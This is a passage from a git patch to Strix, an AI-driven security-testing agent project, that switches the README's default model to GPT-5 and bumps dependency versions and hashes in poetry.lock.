From 337d64d3625d9967656e5f3b23dc8fd0b89650c4 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Fri, 15 Aug 2025 13:02:39 -0700 Subject: [PATCH 001/506] Adding full support for gpt-5 models (#5) --- README.md | 4 +- poetry.lock | 204 ++++++++--------- pyproject.toml | 6 +- strix/agents/StrixAgent/system_prompt.jinja | 209 +----------------- strix/cli/main.py | 14 +- strix/llm/config.py | 2 +- strix/llm/llm.py | 68 +++++- strix/llm/memory_compressor.py | 2 +- strix/prompts/__init__.py | 22 +- .../vulnerabilities/authentication_jwt.jinja | 14 +- strix/prompts/vulnerabilities/csrf.jinja | 2 +- strix/prompts/vulnerabilities/idor.jinja | 6 +- strix/prompts/vulnerabilities/rce.jinja | 2 +- .../vulnerabilities/sql_injection.jinja | 6 +- strix/prompts/vulnerabilities/xss.jinja | 6 +- strix/prompts/vulnerabilities/xxe.jinja | 2 +- .../agents_graph/agents_graph_actions.py | 14 +- .../agents_graph_actions_schema.xml | 12 +- .../terminal/terminal_actions_schema.xml | 4 + 19 files changed, 227 insertions(+), 372 deletions(-) diff --git a/README.md b/README.md index cefd1e99a..72ed229ac 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@ Strix are autonomous AI agents that act just like real hackers - they run your c pipx install strix-agent # Configure AI provider -export STRIX_LLM="anthropic/claude-opus-4-1-20250805" +export STRIX_LLM="openai/gpt-5" export LLM_API_KEY="your-api-key" # Run security assessment @@ -93,7 +93,7 @@ strix --target api.your-app.com --instruction "Prioritize authentication and aut ```bash # Required -export STRIX_LLM="anthropic/claude-opus-4-1-20250805" +export STRIX_LLM="openai/gpt-5" export LLM_API_KEY="your-api-key" # Recommended diff --git a/poetry.lock b/poetry.lock index f922d52e9..1cd171dd4 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2334,14 +2334,14 @@ test = ["coverage", "pytest", "pytest-cov"] [[package]] name = "litellm" -version = "1.75.5.post1" +version = "1.75.7" description = "Library to easily interface with LLM API providers" optional = false python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" groups = ["main"] files = [ - {file = "litellm-1.75.5.post1-py3-none-any.whl", hash = "sha256:1c72809a9c8f6e132ad06eb7e628f674c775b0ce6bfb58cbd37e8b585d929cb7"}, - {file = "litellm-1.75.5.post1.tar.gz", hash = "sha256:e40a0e4b25032755dc5df7f02742abe9e3b8836236363f605f3bdd363cb5a0d0"}, + {file = "litellm-1.75.7-py3-none-any.whl", hash = "sha256:ac42ac0986d43923ce712005e307079d99eebb3901c15399644eba7c79978727"}, + {file = "litellm-1.75.7.tar.gz", hash = "sha256:147c2027b0c57c93252d5e479294b480ddf3389cf886e0b94658a58b2b36e767"}, ] [package.dependencies] @@ -2361,7 +2361,7 @@ importlib-metadata = ">=6.8.0" jinja2 = ">=3.1.2,<4.0.0" jsonschema = ">=4.22.0,<5.0.0" litellm-enterprise = {version = "0.1.19", optional = true, markers = "extra == \"proxy\""} -litellm-proxy-extras = {version = "0.2.16", optional = true, markers = "extra == \"proxy\""} +litellm-proxy-extras = {version = "0.2.17", optional = true, markers = "extra == \"proxy\""} mcp = {version = ">=1.10.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""} openai = ">=1.99.5" orjson = {version = ">=3.9.7,<4.0.0", optional = true, markers = "extra == \"proxy\""} @@ -2384,7 +2384,7 @@ websockets = {version = ">=13.1.0,<14.0.0", optional = true, markers = "extra == caching = ["diskcache (>=5.6.1,<6.0.0)"] extra-proxy = ["azure-identity (>=1.15.0,<2.0.0)", "azure-keyvault-secrets (>=4.8.0,<5.0.0)", "google-cloud-iam (>=2.19.1,<3.0.0)", "google-cloud-kms (>=2.21.3,<3.0.0)", "prisma (==0.11.0)", "redisvl (>=0.4.1,<0.5.0)", "resend (>=0.8.0,<0.9.0)"] mlflow = ["mlflow (>3.1.4)"] -proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.16)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] +proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.17)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] semantic-router = ["semantic-router"] utils = ["numpydoc"] @@ -2401,13 +2401,13 @@ files = [ [[package]] name = "litellm-proxy-extras" -version = "0.2.16" +version = "0.2.17" description = "Additional files for the LiteLLM Proxy. Reduces the size of the main litellm package." optional = false python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" groups = ["main"] files = [ - {file = "litellm_proxy_extras-0.2.16.tar.gz", hash = "sha256:81a1e8a172feb7da86985f529e891ca7be66ba293ae3e716bf69b266fa776a04"}, + {file = "litellm_proxy_extras-0.2.17.tar.gz", hash = "sha256:96428ba537d440a40a7db85e615284a4fd89bada24a7fc8737ef0189932cb1ed"}, ] [[package]] @@ -3197,14 +3197,14 @@ signedtoken = ["cryptography (>=3.0.0)", "pyjwt (>=2.0.0,<3)"] [[package]] name = "openai" -version = "1.99.8" +version = "1.99.9" description = "The official Python library for the openai API" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "openai-1.99.8-py3-none-any.whl", hash = "sha256:426b981079cffde6dd54868b9b84761ffa291cde77010f051b96433e1835b47d"}, - {file = "openai-1.99.8.tar.gz", hash = "sha256:4b49845983eb4d5ffae9bae5d98bd5c0bd3a709a30f8b994fc8f316961b6d566"}, + {file = "openai-1.99.9-py3-none-any.whl", hash = "sha256:9dbcdb425553bae1ac5d947147bebbd630d91bbfc7788394d4c4f3a35682ab3a"}, + {file = "openai-1.99.9.tar.gz", hash = "sha256:f2082d155b1ad22e83247c3de3958eb4255b20ccf4a1de2e6681b6957b554e92"}, ] [package.dependencies] @@ -3286,95 +3286,95 @@ et-xmlfile = "*" [[package]] name = "orjson" -version = "3.11.1" -description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" +version = "3.11.2" +description = "" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "orjson-3.11.1-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:92d771c492b64119456afb50f2dff3e03a2db8b5af0eba32c5932d306f970532"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0085ef83a4141c2ed23bfec5fecbfdb1e95dd42fc8e8c76057bdeeec1608ea65"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5caf7f13f2e1b4e137060aed892d4541d07dabc3f29e6d891e2383c7ed483440"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f716bcc166524eddfcf9f13f8209ac19a7f27b05cf591e883419079d98c8c99d"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:507d6012fab05465d8bf21f5d7f4635ba4b6d60132874e349beff12fb51af7fe"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1545083b0931f754c80fd2422a73d83bea7a6d1b6de104a5f2c8dd3d64c291e"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e217ce3bad76351e1eb29ebe5ca630326f45cd2141f62620107a229909501a3"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:06ef26e009304bda4df42e4afe518994cde6f89b4b04c0ff24021064f83f4fbb"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ba49683b87bea3ae1489a88e766e767d4f423a669a61270b6d6a7ead1c33bd65"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5072488fcc5cbcda2ece966d248e43ea1d222e19dd4c56d3f82747777f24d864"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f58ae2bcd119226fe4aa934b5880fe57b8e97b69e51d5d91c88a89477a307016"}, - {file = "orjson-3.11.1-cp310-cp310-win32.whl", hash = "sha256:6723be919c07906781b9c63cc52dc7d2fb101336c99dd7e85d3531d73fb493f7"}, - {file = "orjson-3.11.1-cp310-cp310-win_amd64.whl", hash = "sha256:5fd44d69ddfdfb4e8d0d83f09d27a4db34930fba153fbf79f8d4ae8b47914e04"}, - {file = "orjson-3.11.1-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:15e2a57ce3b57c1a36acffcc02e823afefceee0a532180c2568c62213c98e3ef"}, - {file = "orjson-3.11.1-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:17040a83ecaa130474af05bbb59a13cfeb2157d76385556041f945da936b1afd"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a68f23f09e5626cc0867a96cf618f68b91acb4753d33a80bf16111fd7f9928c"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:47e07528bb6ccbd6e32a55e330979048b59bfc5518b47c89bc7ab9e3de15174a"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3807cce72bf40a9d251d689cbec28d2efd27e0f6673709f948f971afd52cb09"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b2dc7e88da4ca201c940f5e6127998d9e89aa64264292334dad62854bc7fc27"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3091dad33ac9e67c0a550cfff8ad5be156e2614d6f5d2a9247df0627751a1495"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ed0fce2307843b79a0c83de49f65b86197f1e2310de07af9db2a1a77a61ce4c"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5a31e84782a18c30abd56774c0cfa7b9884589f4d37d9acabfa0504dad59bb9d"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:26b6c821abf1ae515fbb8e140a2406c9f9004f3e52acb780b3dee9bfffddbd84"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f857b3d134b36a8436f1e24dcb525b6b945108b30746c1b0b556200b5cb76d39"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:df146f2a14116ce80f7da669785fcb411406d8e80136558b0ecda4c924b9ac55"}, - {file = "orjson-3.11.1-cp311-cp311-win32.whl", hash = "sha256:d777c57c1f86855fe5492b973f1012be776e0398571f7cc3970e9a58ecf4dc17"}, - {file = "orjson-3.11.1-cp311-cp311-win_amd64.whl", hash = "sha256:e9a5fd589951f02ec2fcb8d69339258bbf74b41b104c556e6d4420ea5e059313"}, - {file = "orjson-3.11.1-cp311-cp311-win_arm64.whl", hash = "sha256:4cddbe41ee04fddad35d75b9cf3e3736ad0b80588280766156b94783167777af"}, - {file = "orjson-3.11.1-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:2b7c8be96db3a977367250c6367793a3c5851a6ca4263f92f0b48d00702f9910"}, - {file = "orjson-3.11.1-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:72e18088f567bd4a45db5e3196677d9ed1605e356e500c8e32dd6e303167a13d"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d346e2ae1ce17888f7040b65a5a4a0c9734cb20ffbd228728661e020b4c8b3a5"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4bda5426ebb02ceb806a7d7ec9ba9ee5e0c93fca62375151a7b1c00bc634d06b"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10506cebe908542c4f024861102673db534fd2e03eb9b95b30d94438fa220abf"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45202ee3f5494644e064c41abd1320497fb92fd31fc73af708708af664ac3b56"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5adaf01b92e0402a9ac5c3ebe04effe2bbb115f0914a0a53d34ea239a746289"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6162a1a757a1f1f4a94bc6ffac834a3602e04ad5db022dd8395a54ed9dd51c81"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:78404206977c9f946613d3f916727c189d43193e708d760ea5d4b2087d6b0968"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:db48f8e81072e26df6cdb0e9fff808c28597c6ac20a13d595756cf9ba1fed48a"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0c1e394e67ced6bb16fea7054d99fbdd99a539cf4d446d40378d4c06e0a8548d"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e7a840752c93d4eecd1378e9bb465c3703e127b58f675cd5c620f361b6cf57a4"}, - {file = "orjson-3.11.1-cp312-cp312-win32.whl", hash = "sha256:4537b0e09f45d2b74cb69c7f39ca1e62c24c0488d6bf01cd24673c74cd9596bf"}, - {file = "orjson-3.11.1-cp312-cp312-win_amd64.whl", hash = "sha256:dbee6b050062540ae404530cacec1bf25e56e8d87d8d9b610b935afeb6725cae"}, - {file = "orjson-3.11.1-cp312-cp312-win_arm64.whl", hash = "sha256:f55e557d4248322d87c4673e085c7634039ff04b47bfc823b87149ae12bef60d"}, - {file = "orjson-3.11.1-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:53cfefe4af059e65aabe9683f76b9c88bf34b4341a77d329227c2424e0e59b0e"}, - {file = "orjson-3.11.1-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:93d5abed5a6f9e1b6f9b5bf6ed4423c11932b5447c2f7281d3b64e0f26c6d064"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dbf06642f3db2966df504944cdd0eb68ca2717f0353bb20b20acd78109374a6"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dddf4e78747fa7f2188273f84562017a3c4f0824485b78372513c1681ea7a894"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fa3fe8653c9f57f0e16f008e43626485b6723b84b2f741f54d1258095b655912"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6334d2382aff975a61f6f4d1c3daf39368b887c7de08f7c16c58f485dcf7adb2"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a3d0855b643f259ee0cb76fe3df4c04483354409a520a902b067c674842eb6b8"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0eacdfeefd0a79987926476eb16e0245546bedeb8febbbbcf4b653e79257a8e4"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0ed07faf9e4873518c60480325dcbc16d17c59a165532cccfb409b4cdbaeff24"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d308dd578ae3658f62bb9eba54801533225823cd3248c902be1ebc79b5e014"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c4aa13ca959ba6b15c0a98d3d204b850f9dc36c08c9ce422ffb024eb30d6e058"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:be3d0653322abc9b68e5bcdaee6cfd58fcbe9973740ab222b87f4d687232ab1f"}, - {file = "orjson-3.11.1-cp313-cp313-win32.whl", hash = "sha256:4dd34e7e2518de8d7834268846f8cab7204364f427c56fb2251e098da86f5092"}, - {file = "orjson-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:d6895d32032b6362540e6d0694b19130bb4f2ad04694002dce7d8af588ca5f77"}, - {file = "orjson-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:bb7c36d5d3570fcbb01d24fa447a21a7fe5a41141fd88e78f7994053cc4e28f4"}, - {file = "orjson-3.11.1-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:7b71ef394327b3d0b39f6ea7ade2ecda2731a56c6a7cbf0d6a7301203b92a89b"}, - {file = "orjson-3.11.1-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:77c0fe28ed659b62273995244ae2aa430e432c71f86e4573ab16caa2f2e3ca5e"}, - {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:1495692f1f1ba2467df429343388a0ed259382835922e124c0cfdd56b3d1f727"}, - {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:08c6a762fca63ca4dc04f66c48ea5d2428db55839fec996890e1bfaf057b658c"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e26794fe3976810b2c01fda29bd9ac7c91a3c1284b29cc9a383989f7b614037"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4b4b4f8f0b1d3ef8dc73e55363a0ffe012a42f4e2f1a140bf559698dca39b3fa"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:848be553ea35aa89bfefbed2e27c8a41244c862956ab8ba00dc0b27e84fd58de"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c964c29711a4b1df52f8d9966f015402a6cf87753a406c1c4405c407dd66fd45"}, - {file = "orjson-3.11.1-cp314-cp314-win32.whl", hash = "sha256:33aada2e6b6bc9c540d396528b91e666cedb383740fee6e6a917f561b390ecb1"}, - {file = "orjson-3.11.1-cp314-cp314-win_amd64.whl", hash = "sha256:68e10fd804e44e36188b9952543e3fa22f5aa8394da1b5283ca2b423735c06e8"}, - {file = "orjson-3.11.1-cp314-cp314-win_arm64.whl", hash = "sha256:f3cf6c07f8b32127d836be8e1c55d4f34843f7df346536da768e9f73f22078a1"}, - {file = "orjson-3.11.1-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3d593a9e0bccf2c7401ae53625b519a7ad7aa555b1c82c0042b322762dc8af4e"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0baad413c498fc1eef568504f11ea46bc71f94b845c075e437da1e2b85b4fb86"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:22cf17ae1dae3f9b5f37bfcdba002ed22c98bbdb70306e42dc18d8cc9b50399a"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e855c1e97208133ce88b3ef6663c9a82ddf1d09390cd0856a1638deee0390c3c"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b5861c5f7acff10599132854c70ab10abf72aebf7c627ae13575e5f20b1ab8fe"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1e6415c5b5ff3a616a6dafad7b6ec303a9fc625e9313c8e1268fb1370a63dcb"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:912579642f5d7a4a84d93c5eed8daf0aa34e1f2d3f4dc6571a8e418703f5701e"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2092e1d3b33f64e129ff8271642afddc43763c81f2c30823b4a4a4a5f2ea5b55"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:b8ac64caba1add2c04e9cd4782d4d0c4d6c554b7a3369bdec1eed7854c98db7b"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:23196b826ebc85c43f8e27bee0ab33c5fb13a29ea47fb4fcd6ebb1e660eb0252"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f2d3364cfad43003f1e3d564a069c8866237cca30f9c914b26ed2740b596ed00"}, - {file = "orjson-3.11.1-cp39-cp39-win32.whl", hash = "sha256:20b0dca94ea4ebe4628330de50975b35817a3f52954c1efb6d5d0498a3bbe581"}, - {file = "orjson-3.11.1-cp39-cp39-win_amd64.whl", hash = "sha256:200c3ad7ed8b5d31d49143265dfebd33420c4b61934ead16833b5cd2c3d241be"}, - {file = "orjson-3.11.1.tar.gz", hash = "sha256:48d82770a5fd88778063604c566f9c7c71820270c9cc9338d25147cbf34afd96"}, + {file = "orjson-3.11.2-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:d6b8a78c33496230a60dc9487118c284c15ebdf6724386057239641e1eb69761"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc04036eeae11ad4180d1f7b5faddb5dab1dee49ecd147cd431523869514873b"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9c04325839c5754c253ff301cee8aaed7442d974860a44447bb3be785c411c27"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:32769e04cd7fdc4a59854376211145a1bbbc0aea5e9d6c9755d3d3c301d7c0df"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0ff285d14917ea1408a821786e3677c5261fa6095277410409c694b8e7720ae0"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2662f908114864b63ff75ffe6ffacf996418dd6cc25e02a72ad4bda81b1ec45a"}, + {file = "orjson-3.11.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab463cf5d08ad6623a4dac1badd20e88a5eb4b840050c4812c782e3149fe2334"}, + {file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:64414241bde943cbf3c00d45fcb5223dca6d9210148ba984aae6b5d63294502b"}, + {file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:7773e71c0ae8c9660192ff144a3d69df89725325e3d0b6a6bb2c50e5ebaf9b84"}, + {file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:652ca14e283b13ece35bf3a86503c25592f294dbcfc5bb91b20a9c9a62a3d4be"}, + {file = "orjson-3.11.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:26e99e98df8990ecfe3772bbdd7361f602149715c2cbc82e61af89bfad9528a4"}, + {file = "orjson-3.11.2-cp310-cp310-win32.whl", hash = "sha256:5814313b3e75a2be7fe6c7958201c16c4560e21a813dbad25920752cecd6ad66"}, + {file = "orjson-3.11.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc471ce2225ab4c42ca672f70600d46a8b8e28e8d4e536088c1ccdb1d22b35ce"}, + {file = "orjson-3.11.2-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:888b64ef7eaeeff63f773881929434a5834a6a140a63ad45183d59287f07fc6a"}, + {file = "orjson-3.11.2-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:83387cc8b26c9fa0ae34d1ea8861a7ae6cff8fb3e346ab53e987d085315a728e"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7e35f003692c216d7ee901b6b916b5734d6fc4180fcaa44c52081f974c08e17"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4a0a4c29ae90b11d0c00bcc31533854d89f77bde2649ec602f512a7e16e00640"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:585d712b1880f68370108bc5534a257b561672d1592fae54938738fe7f6f1e33"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d08e342a7143f8a7c11f1c4033efe81acbd3c98c68ba1b26b96080396019701f"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c0f84fc50398773a702732c87cd622737bf11c0721e6db3041ac7802a686fb"}, + {file = "orjson-3.11.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:140f84e3c8d4c142575898c91e3981000afebf0333df753a90b3435d349a5fe5"}, + {file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96304a2b7235e0f3f2d9363ddccdbfb027d27338722fe469fe656832a017602e"}, + {file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d7612bb227d5d9582f1f50a60bd55c64618fc22c4a32825d233a4f2771a428a"}, + {file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a134587d18fe493befc2defffef2a8d27cfcada5696cb7234de54a21903ae89a"}, + {file = "orjson-3.11.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0b84455e60c4bc12c1e4cbaa5cfc1acdc7775a9da9cec040e17232f4b05458bd"}, + {file = "orjson-3.11.2-cp311-cp311-win32.whl", hash = "sha256:f0660efeac223f0731a70884e6914a5f04d613b5ae500744c43f7bf7b78f00f9"}, + {file = "orjson-3.11.2-cp311-cp311-win_amd64.whl", hash = "sha256:955811c8405251d9e09cbe8606ad8fdef49a451bcf5520095a5ed38c669223d8"}, + {file = "orjson-3.11.2-cp311-cp311-win_arm64.whl", hash = "sha256:2e4d423a6f838552e3a6d9ec734b729f61f88b1124fd697eab82805ea1a2a97d"}, + {file = "orjson-3.11.2-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:901d80d349d8452162b3aa1afb82cec5bee79a10550660bc21311cc61a4c5486"}, + {file = "orjson-3.11.2-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:cf3bd3967a360e87ee14ed82cb258b7f18c710dacf3822fb0042a14313a673a1"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26693dde66910078229a943e80eeb99fdce6cd2c26277dc80ead9f3ab97d2131"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = 